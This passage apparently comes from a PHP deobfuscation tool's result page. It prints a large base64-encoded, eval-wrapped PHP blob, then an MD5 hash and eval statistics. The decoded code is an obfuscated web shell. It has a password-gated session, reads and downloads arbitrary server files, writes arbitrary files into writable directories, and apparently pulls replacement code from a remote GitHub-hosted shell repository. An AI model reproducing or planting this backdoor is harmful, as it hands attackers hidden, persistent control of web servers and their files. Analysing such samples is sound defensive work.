wxNDFcMTQ0XHgyMFwxNDZcMTUxXDE1NFwxNDVcNDEiOyB9IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjNceDc1XHg2M1x4NjNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXDE2M1wxNDciXSA9ICJceDU1XHg3MFwxNTRcMTU3XHg2MVx4NjRcNDBcMTA2XHg2OVwxNTRcMTQ1XDQwXHg3MFwxNDVcMTYyXHg2ZFx4NjlceDczXDE2M1x4NjlceDZmXDE1Nlw0MFwxNDRcMTQ1XHg2ZVx4NjlcMTQ1XHg2NFx4MjEiOyB9ICRyZXN1bHRbIlx4NjVcMTYyXHg3MlwxNTdcMTYyIl0gPSBmYWxzZTsgfSB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlx4NjFceDc1XHg3NFx4NmZceDQ5XDE1NlwxNjNcMTY0XDE0MVx4NmNcMTU0IikgeyAkZGlyID0gJF9QT1NUWyJceDY0XHg2OVx4NzIiXTsgJGF1dG9JbnN0YWxsID0gZXhwbG9kZSgiXDE3NFx4NTNcMTEwXHg0NVx4NGNcMTE0XDE3NCIsIGdldERlY29kZSgkX1BPU1RbIlx4NjFceDc1XDE2NFwxNTdcMTExXDE1NlwxNjNceDc0XDE0MVx4NmNcMTU0Il0pKTsgJGluc3RhbGxmaWxlID0gJGRpciAuICRhdXRvSW5zdGFsbFswXTsgaWYgKGlzX2ZpbGUoJGluc3RhbGxmaWxlKSkgeyAkcmVzdWx0WyJcMTQ1XHg3MlwxNjJcMTU3XHg3MiJdID0gdHJ1ZTsgJHJlc3VsdFsiXHg3M1x4NzVcMTQzXHg2M1wxNDVceDczXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRceDczXHg2NyJdID0gIlwxMDZcMTUxXDE1NFx4NjVceDIwXHg2MVx4NmNcMTYyXDE0NVx4NjFceDY0XDE3MVx4MjBceDY5XDE1Nlx4NzNcMTY0XHg2MVx4NmNceDZjXDE0NVwxNDRcNDEiOyB9IGVsc2UgeyBpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsgJGluc3RhbGxDb250ZW50ID0gZ2V0Q29udGVudCgkYXV0b0luc3RhbGxbMV0pOyBpZiAoJGluc3RhbGxDb250ZW50ICE9ICcnKSB7IGlmIChjcmVhdGVGaWxlRm9wZW4oJGluc3RhbGxmaWxlLCAkaW5zdGFsbENvbnRlbnQpKSB7ICRyZXN1bHRbIlwxNjNcMTY1XDE0M1x4NjNcMTQ1XHg3M1wxNjMiXSA9IHRydWU7ICRyZXN1bHRbIlx4NmRcMTYzXHg2NyJdID0gIlx4NDlcMTU2XDE2M1x4NzRceDYxXDE1NFwxNTRceDY1XHg2NFw0MFx4NzNcMTY1XHg2M1wxNDNceDY1XHg3M1x4NzNcMTQ2XDE2NVx4NmNceDZjXDE3MVw0MSI7IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjNceDc1XDE0M1wxNDNcMTQ1XHg3M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXHg3M1x4NjciXSA9ICJceDQ2XDE0MVwxNTFcMTU0XHg2NVwxNDRceDIwXHg3NFx4NmZcNDBcMTUxXDE1NlwxNjNcMTY0XDE0MVwxNTRceDZjXHgyMSI7IH0gfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1x4NzVceDYzXHg2M1x4NjVcMTYzXDE2MyJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNTVcMTYzXHg2NyJdID0gIlx4NTNcMTU3XHg2ZFx4NjVceDc0XDE1MFx4NjlcMTU2XHg2N1x4MjBcMTY3XHg2NVx4NmVceDc0XDQwXHg3N1x4NzJceDZmXHg2ZVwxNDdcNDFcNDEiOyB9IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzNcMTY1XDE0M1wxNDNcMTQ1XDE2M1wxNjMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXHg3M1x4NjciXSA9ICJceDQ5XDE1NlwxNjNcMTY0XHg2MVx4NmNceDZjXDQwXHg3MFwxNDVcMTYyXHg2ZFx4NjlceDczXHg3M1wxNTFcMTU3XDE1Nlx4MjBcMTQ0XDE0NVwxNTZcMTUxXHg2NVx4NjRceDIxIjsgfSAkcmVzdWx0WyJceDY1XHg3Mlx4NzJcMTU3XHg3MiJdID0gZmFsc2U7IH0gfSBlbHNlIHsgaWYgKCRkYXRhID09ICJcMTI1XDE1Nlx4NjlcMTU2XDE2M1x4NzRceDYxXHg2Y1x4NmMiKSB7ICR1bmluc3RhbGxDb250ZW50ID0gZ2V0Q29udGVudCgiXDE1MFx4NzRceDc0XHg3MFwxNjNceDNhXHgyZlx4MmZceDcyXHg2MVx4NzdceDJlXHg2N1x4NjlceDc0XDE1MFwxNjVcMTQyXHg3NVwxNjNcMTQ1XHg3MlwxNDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVwxNjRceDJlXHg2M1x4NmZcMTU1XDU3XHg3M1x4NjFcMTU1XDE1MVx4NzVcMTU0XDE0MVx4NmNcMTUxXDE1NVw2MVw1N1x4NzNceDY4XHg2NVx4NmNceDZjXDU3XHg2ZFx4NjFceDY5XHg2ZVx4MmZcMTY1XDE1Nlx4NjlcMTU2XDE2M1wxNjRceDYxXHg2Y1wxNTRcNTdceDc1XHg2ZVx4NjlceDZlXDE2M1x4NzRceDYxXDE1NFwxNTRceDJlXDE2MFwxNTBcMTYwIik7IGlmIChpc193cml0YWJsZSgkbXI5OTlwbHVzKSkgeyBpZiAoJHVuaW5zdGFsbENvbnRlbnQgIT0gJycpIHsgaWYgKGNyZWF0ZUZpbGVGb3BlbigkbXI5OTlwbHVzLCAkdW5pbnN0YWxsQ29udGVudCkpIHsgJHJlc3VsdFsiXDE2M1x4NzVceDYzXHg2M1x4NjVceDczXDE2MyJdID0gdHJ1ZTsgJHJlc3VsdFsiXDE1NVwxNjNcMTQ3Il0gPSAiXDEyNVx4NmVceDY5XHg2ZVwxNjNcMTY0XDE0MVwxNTRceDZjXHg2NVwxNDRcNDBceDczXHg3NVx4NjNceDYzXDE0NVwxNjNcMTYzXDE0Nlx4NzVcMTU0XHg2Y1wxNzFceDIxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXDE2M1x4NzVceDYzXHg2M1wxNDVcMTYzXDE2MyJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNTVceDczXHg2NyJdID0gIlwxMDZcMTQxXHg2OVwxNTRcMTQ1XDE0NFx4MjBceDc0XHg2Zlx4MjBcMTY1XHg2ZVx4NjlceDZlXHg3M1wxNjRcMTQxXDE1NFx4NmNcNDEiOyB9IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjNcMTY1XDE0M1wxNDNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XDE2M1wxNDciXSA9ICJceDUzXDE1N1x4NmRcMTQ1XHg3NFwxNTBceDY5XHg2ZVx4NjdcNDBcMTY3XHg2NVwxNTZcMTY0XHgyMFwxNjdceDcyXHg2Zlx4NmVceDY3XHgyMSI7IH0gfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1wxNjVceDYzXHg2M1wxNDVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRceDczXHg2NyJdID0gIlwxMjVcMTU2XHg2OVwxNTZcMTYzXHg3NFx4NjFceDZjXHg2Y1w0MFx4NzBcMTQ1XHg3Mlx4NmRceDY5XDE2M1x4NzNcMTUxXHg2ZlwxNTZcNDBcMTQ0XDE0NVwxNTZcMTUxXDE0NVwxNDRceDIxIjsgfSB9IGVsc2UgeyAkcmVzdWx0WyJceDY1XDE2Mlx4NzJcMTU3XDE2MiJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNjNceDc1XDE0M1wxNDNcMTQ1XDE2M1wxNjMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XDE2M1wxNDciXSA9ICJceDUwXHg2NVx4NzJcMTU1XDE1MVx4NzNcMTYzXHg2OVx4NmZceDZlXHgyMFwxNDRceDY1XHg2ZVx4NjlcMTQ1XDE0NFw0MSI7IH0gfSB9IH0gfSB9IH0gfSB9IH0gfSB9IH0gfSBoZWFkZXIoIlx4NDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVx4NzRcNTVcMTI0XHg3OVwxNjBcMTQ1XHgzYVw0MFx4NjFcMTYwXHg3MFwxNTRceDY5XHg2M1x4NjFceDc0XDE1MVwxNTdceDZlXDU3XDE1MlwxNjNcMTU3XHg2ZVw3M1x4MjBceDYzXDE1MFx4NjFcMTYyXHg3M1wxNDVceDc0XHgzZFwxNjVceDc0XHg2Nlw1NVx4MzgiKTsgZGllKGpzb25fZW5jb2RlKCRyZXN1bHQpKTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfR0VUWyJcMTQ0XDE0MVx4NzRceDYxIl0sICRfU0VTU0lPTlsiXHg0OFwxNDFcMTQzXDE1M1wxNDVceDcyIl0pKSB7IGlmICgkX1NFU1NJT05bIlx4NDhceDYxXDE0M1x4NmJcMTQ1XDE2MiJdID09ICRIYWNrZXIpIHsgJGRhdGEgPSAkX0dFVFsiXHg2NFwxNDFceDc0XDE0MSJdOyBpZiAoJGRhdGEgPT0gIlx4NmZceDcwXHg2NVx4NmVceDUzXHg3Mlx4NjMiKSB7ICRmaWxlID0gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiXHgyMCIsICJcNTMiLCAkX0dFVFsiXDE0Nlx4NjlcMTU0XHg2NSJdKSk7IGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE1NVwxNTFcMTU1XDE0NVwxMzdceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0XHg1ZlwxNjRceDc5XHg3MFwxNDUiKSkgeyAkQ29udGVudFR5cGUgPSBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSk7IH0gZWxzZSB7ICRleHRlbnNpb24gPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsgJG1pbWVUeXBlcyA9IGFycmF5KCJceDZhXHg3MFx4NjciID0+ICJcMTUxXHg2ZFx4NjFceDY3XDE0NVw1N1x4NmFcMTYwXDE0NVwxNDciLCAiXDE2MFwxNTZcMTQ3IiA9PiAiXDE1MVx4NmRcMTQxXDE0N1wxNDVcNTdceDcwXHg2ZVx4NjciLCAiXHg2N1x4NjlcMTQ2IiA9PiAiXDE1MVx4NmRcMTQxXDE0N1x4NjVceDJmXDE0N1wxNTFceDY2IiwgIlx4NzdceDY1XDE0MlwxNjAiID0+ICJcMTUxXHg2ZFwxNDFcMTQ3XDE0NVw1N1wxNjdceDY1XHg2MlwxNjAiLCAiXDE2M1x4NzZcMTQ3IiA9PiAiXDE1MVx4NmRcMTQxXDE0N1wxNDVceDJmXHg3M1wxNjZceDY3XDUzXHg3OFx4NmRcMTU0IiwgIlx4NmRcMTYwXHgzNCIgPT4gIlx4NzZceDY5XDE0NFx4NjVcMTU3XHgyZlwxNTVceDcwXHgzNCIsICJceDZkXHg2YlwxNjYiID0+ICJceDc2XDE1MVx4NjRceDY1XDE1N1w1N1wxNzBcNTVcMTU1XHg2MVwxNjRcMTYyXHg2Zlx4NzNceDZiXHg2MSIsICJceDZkXDE2MFx4MzMiID0+ICJceDYxXHg3NVx4NjRceDY5XHg2Zlw1N1x4NmRcMTYwXHg2NVx4NjciLCAiXDE2N1x4NjFcMTY2IiA9PiAiXHg2MVx4NzVcMTQ0XHg2OVx4NmZceDJmXHg3N1x4NjFcMTY2IiwgIlwxNDFceDY5XDE0NlwxNDYiID0+ICJceDYxXDE2NVx4NjRcMTUxXHg2Zlx4MmZcMTQxXDE1MVwxNDZcMTQ2IiwgIlwxNTJceDcwXHg2NVx4NjciID0+ICJcMTUxXDE1NVwxNDFceDY3XDE0NVw1N1x4NmFceDcwXDE0NVwxNDciKTsgJENvbnRlbnRUeXBlID0gJG1pbWVUeXBlc1skZXh0ZW5zaW9uXSA/PyAiXDE0MVwxNjBcMTYwXDE1NFx4NjlceDYzXDE0MVwxNjRcMTUxXDE1N1wxNTZceDJmXHg2Zlx4NjNceDc0XDE0NVwxNjRcNTVceDczXHg3NFwxNjJceDY1XDE0MVx4NmQiOyB9IGhlYWRlcigiXHg0M1wxNTdceDZlXDE2NFx4NjVceDZlXDE2NFw1NVwxMjRcMTcxXDE2MFx4NjVceDNhXDQwIiAuICRDb250ZW50VHlwZSk7IHJlYWRmaWxlKCRmaWxlKTsgZGllOyB9IGVsc2UgeyBodHRwX3Jlc3BvbnNlX2NvZGUoIlw2NFx4MzBceDM0Iik7IGRpZTsgfSB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlwxNDRceDZmXHg3N1wxNTZceDZjXHg2Zlx4NjFceDY0IikgeyAkZmlsZSA9IGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIlw0MCIsICJcNTMiLCAkX0dFVFsiXHg2NlwxNTFceDZjXHg2NSJdKSk7IGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsgaGVhZGVyKCJceDQzXDE1N1wxNTZcMTY0XHg2NVx4NmVceDc0XDU1XHg0NFx4NjVcMTYzXHg2M1x4NzJcMTUxXDE2MFwxNjRcMTUxXHg2Zlx4NmVcNzJcNDBcMTA2XDE1MVx4NmNceDY1XHgyMFwxMjRcMTYyXDE0MVwxNTZceDczXHg2NlwxNDVceDcyIik7IGhlYWRlcigiXDEwM1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NFw1NVx4NTRceDc5XDE2MFx4NjVcNzJcNDBceDYxXHg3MFwxNjBceDZjXHg2OVx4NjNcMTQxXHg3NFx4NjlcMTU3XHg2ZVx4MmZcMTU3XDE0M1wxNjRcMTQ1XDE2NFx4MmRceDczXHg3NFx4NzJcMTQ1XHg2MVwxNTUiKTsgaGVhZGVyKCJceDQzXHg2Zlx4NmVceDc0XHg2NVwxNTZcMTY0XHgyZFx4NDRcMTUxXHg3M1x4NzBcMTU3XDE2M1x4NjlcMTY0XHg2OVwxNTdcMTU2XHgzYVx4MjBcMTQxXDE2NFx4NzRceDYxXDE0M1wxNTBceDZkXHg2NVx4NmVcMTY0XHgzYlw0MFwxNDZceDY5XDE1NFwxNDVceDZlXDE0MVwxNTVcMTQ1XHgzZCIgLiBiYXNlbmFtZSgkZmlsZSkpOyBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRceDY1XDE1Nlx4NzRcNTVcMTI0XHg3Mlx4NjFcMTU2XHg3M1wxNDZcMTQ1XHg3Mlw1NVwxMDVcMTU2XDE0M1x4NmZcMTQ0XHg2OVx4NmVceDY3XDcyXDQwXDE0MlwxNTFceDZlXHg2MVx4NzJceDc5Iik7IGhlYWRlcigiXHg0NVwxNzBceDcwXHg2OVwxNjJceDY1XHg3M1x4M2FcNDBcNjAiKTsgaGVhZGVyKCJcMTAzXHg2MVwxNDNceDY4XDE0NVx4MmRceDQzXDE1N1wxNTZcMTY0XDE2MlwxNTdceDZjXHgzYVw0MFwxNTVceDc1XHg3M1wxNjRceDJkXHg3Mlx4NjVceDc2XDE0MVx4NmNceDY5XHg2NFwxNDFcMTY0XDE0NSIpOyBoZWFkZXIoIlx4NTBceDcyXDE0MVx4NjdceDZkXHg2MVw3Mlx4MjBcMTYwXHg3NVwxNDJcMTU0XDE1MVx4NjMiKTsgaGVhZGVyKCJcMTAzXHg2Zlx4NmVceDc0XHg2NVwxNTZceDc0XDU1XHg0Y1x4NjVceDZlXDE0N1x4NzRceDY4XHgzYVw0MCIgLiBmaWxlc2l6ZSgkZmlsZSkpOyBvYl9jbGVhbigpOyBmbHVzaCgpOyByZWFkZmlsZSgkZmlsZSk7IGRpZTsgfSBlbHNlIHsgZGllKCJceDNjXDE2M1x4NjNcMTYyXHg2OVwxNjBceDc0XHgzZVx4NjFcMTU0XHg2NVx4NzJcMTY0XHgyOFx4MjJcMTA2XHg2OVx4NmNceDY1XHgyMFx4NmVceDZmXHg3NFx4MjBcMTQ2XDE1N1wxNjVceDZlXHg2NFx4MjFceDIyXDUxXDczXDQwXDE2N1wxNTFcMTU2XHg2NFx4NmZceDc3XHgyZVx4NjNceDZjXHg2ZlwxNjNceDY1XHgyOFx4MjlcNzNceDNjXDU3XHg3M1x4NjNcMTYyXDE1MVwxNjBceDc0XHgzZSIpOyB9IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXDE1N1wxNjBcMTQ1XHg2ZVwxMDFceDQzXDEwNSIpIHsgJGZpbGUgPSBiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCJcNDAiLCAiXDUzIiwgJF9HRVRbIlwxNDZceDY5XHg2Y1wxNDUiXSkpOyBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7ICRmaWxlU2l6ZSA9IGZpbGVzaXplKCRmaWxlKTsgJGZpbGVOYW1lID0gYmFzZW5hbWUoJGZpbGUpOyAkZmlsZUhhbmRsZSA9IGZvcGVuKCRmaWxlLCAiXDE2MiIpOyBpZiAoJGZpbGVIYW5kbGUpIHsgJGNhblJlYWQgPSAiXHg3NFx4NzJcMTY1XHg2NSI7IGlmICgkZmlsZVNpemUgPT0gMCkgeyAkY29udGVudCA9ICcnOyB9IGVsc2UgeyAkY29udGVudCA9IGJhc2U2NF9lbmNvZGUoZnJlYWQoJGZpbGVIYW5kbGUsICRmaWxlU2l6ZSkpOyB9IGZjbG9zZSgkZmlsZUhhbmRsZSk7IH0gZWxzZSB7ICRjYW5SZWFkID0gIlx4NjZcMTQxXHg2Y1wxNjNcMTQ1IjsgJGNvbnRlbnQgPSAiXHg1Mlx4NjVceDYxXDE0NFx4MjBceDcwXHg2NVx4NzJcMTU1XDE1MVx4NzNcMTYzXDE1MVwxNTdceDZlXHgyMFx4NjRcMTQ1XDE1Nlx4NjlcMTQ1XDE0NFw0MSI7IH0gfSBlbHNlIHsgJGZpbGVOYW1lID0gJyc7ICRjYW5SZWFkID0gIlwxNDZceDYxXHg2Y1wxNjNcMTQ1IjsgJGNvbnRlbnQgPSAiXDEwNlwxNTFceDZjXDE0NVx4MjBcMTU2XHg2ZlwxNjRceDIwXHg2NlwxNTdcMTY1XDE1Nlx4NjRcNDEiOyB9ICRzZXR0aW5nID0gIlwxNjZcMTQxXHg3Mlx4MjBcMTQ0XDE1MVwxNjJceDIwXDc1XDQwXHgyMiIgLiAkZmlsZSAuICJceDIyXDU0XDQwXDE0MVx4NjNcMTQ1XHg0ZVwxNDFceDZkXHg2NVx4MjBcNzVcNDBcNDIiIC4gJGZpbGVOYW1lIC4gIlw0Mlx4MmNceDIwXHg2MVwxNDNceDY1XDEwNlwxNTFcMTU0XHg2NVwxMjRceDc5XHg3MFx4NjVcNDBceDNkXHgyMFw0MiIgLiB0eXBlQWNlRmlsZSgkZmlsZU5hbWUpIC4gIlw0Mlw1NFw0MFx4NjFcMTQzXDE0NVx4NTJceDY1XDE0MVx4NjRcNDBceDNkXDQwIiAuICRjYW5SZWFkIC4gIlx4MmNcNDBceDYxXHg2M1x4NjVceDQ0XDE0MVx4NzRceDYxXHgyMFx4M2RceDIwXHgyMiIgLiAkY29udGVudCAuICJceDIyXDczIjsgZGllKHN0cl9yZXBsYWNlKCJceDdjXDEyM1wxMDVcMTI0XHg1NFwxMTFceDRlXDEwN1x4N2MiLCAkc2V0dGluZywgc3RyX3JlcGxhY2UoIlx4N2NcMTIzXDEwM1x4NTJcMTExXHg1MFx4NTRcMTc0IiwgZ2V0Q29udGVudCgkc2NyaXB0KSwgc3RyX3JlcGxhY2UoIlwxNzRcMTIzXDEyNFwxMzFcMTE0XHg0NVwxNzQiLCBnZXRDb250ZW50KCRzdHlsZSksIGdldENvbnRlbnQoJGluZGV4KSkpKSk7IH0gfSB9IH0gZWxzZSB7ICRzZXR0aW5nID0gIlwxNjZceDYxXDE2Mlx4MjBceDY0XDE1MVwxNjJceDIwXDc1XDQwXDQyXDQyXDczIjsgZGllKHN0cl9yZXBsYWNlKCJceDdjXDEyM1x4NDVceDU0XHg1NFx4NDlceDRlXHg0N1wxNzQiLCAkc2V0dGluZywgc3RyX3JlcGxhY2UoIlwxNzRceDUzXDEwM1wxMjJcMTExXHg1MFx4NTRceDdjIiwgZ2V0Q29udGVudCgkc2NyaXB0KSwgc3RyX3JlcGxhY2UoIlx4N2NcMTIzXDEyNFx4NTlceDRjXHg0NVwxNzQiLCBnZXRDb250ZW50KCRzdHlsZSksIGdldENvbnRlbnQoJGluZGV4KSkpKSk7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsiXHg2Y1x4NmZceDY3XHg2OVx4NmUiXSkpIHsgJGxvZ2luID0gJF9QT1NUWyJceDZjXHg2ZlwxNDdceDY5XDE1NiJdOyBpZiAoJGxvZ2luID09ICRIYWNrZXIpIHsgJF9TRVNTSU9OWyJceDQ4XHg2MVx4NjNcMTUzXDE0NVx4NzIiXSA9ICRIYWNrZXI7ICRyZXN1bHRbIlx4NzNceDc1XDE0M1x4NjNcMTQ1XHg3M1wxNjMiXSA9IHRydWU7IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjNcMTY1XDE0M1wxNDNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XDE2M1x4NjciXSA9ICJceDU3XHg3Mlx4NmZcMTU2XDE0N1x4MjBcMTIwXDE0MVwxNjNcMTYzXHg3N1x4NmZcMTYyXHg2NFx4MjEiOyB9IGhlYWRlcigiXDEwM1x4NmZcMTU2XDE2NFwxNDVceDZlXHg3NFw1NVwxMjRcMTcxXDE2MFwxNDVceDNhXHgyMFx4NjFceDcwXDE2MFwxNTRcMTUxXHg2M1x4NjFcMTY0XHg2OVwxNTdcMTU2XDU3XDE1MlwxNjNceDZmXDE1Nlw3M1x4MjBcMTQzXHg2OFwxNDFceDcyXDE2M1wxNDVceDc0XHgzZFx4NzVceDc0XHg2Nlx4MmRceDM4Iik7IGRpZShqc29uX2VuY29kZSgkcmVzdWx0KSk7IH0gZWxzZSB7ICRzZXR0aW5nID0gIlwxNjZcMTQxXDE2Mlx4MjBcMTQ0XDE1MVwxNjJceDIwXHgzZFx4MjBceDIyXHgyMlw3MyI7IGRpZShzdHJfcmVwbGFjZSgiXHg3Y1wxMjNceDQ1XHg1NFwxMjRceDQ5XHg0ZVx4NDdcMTc0IiwgJHNldHRpbmcsIHN0cl9yZXBsYWNlKCJcMTc0XHg1M1wxMDNceDUyXDExMVwxMjBcMTI0XDE3NCIsIGdldENvbnRlbnQoJHNjcmlwdCksIHN0cl9yZXBsYWNlKCJcMTc0XHg1M1x4NTRcMTMxXDExNFwxMDVcMTc0IiwgZ2V0Q29udGVudCgkc3R5bGUpLCBnZXRDb250ZW50KCRpbmRleCkpKSkpOyB9IH0gfQo=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 4864ea7c8e9410d4521bdafa0768aec3
Eval Count 1
Decode Time 123 ms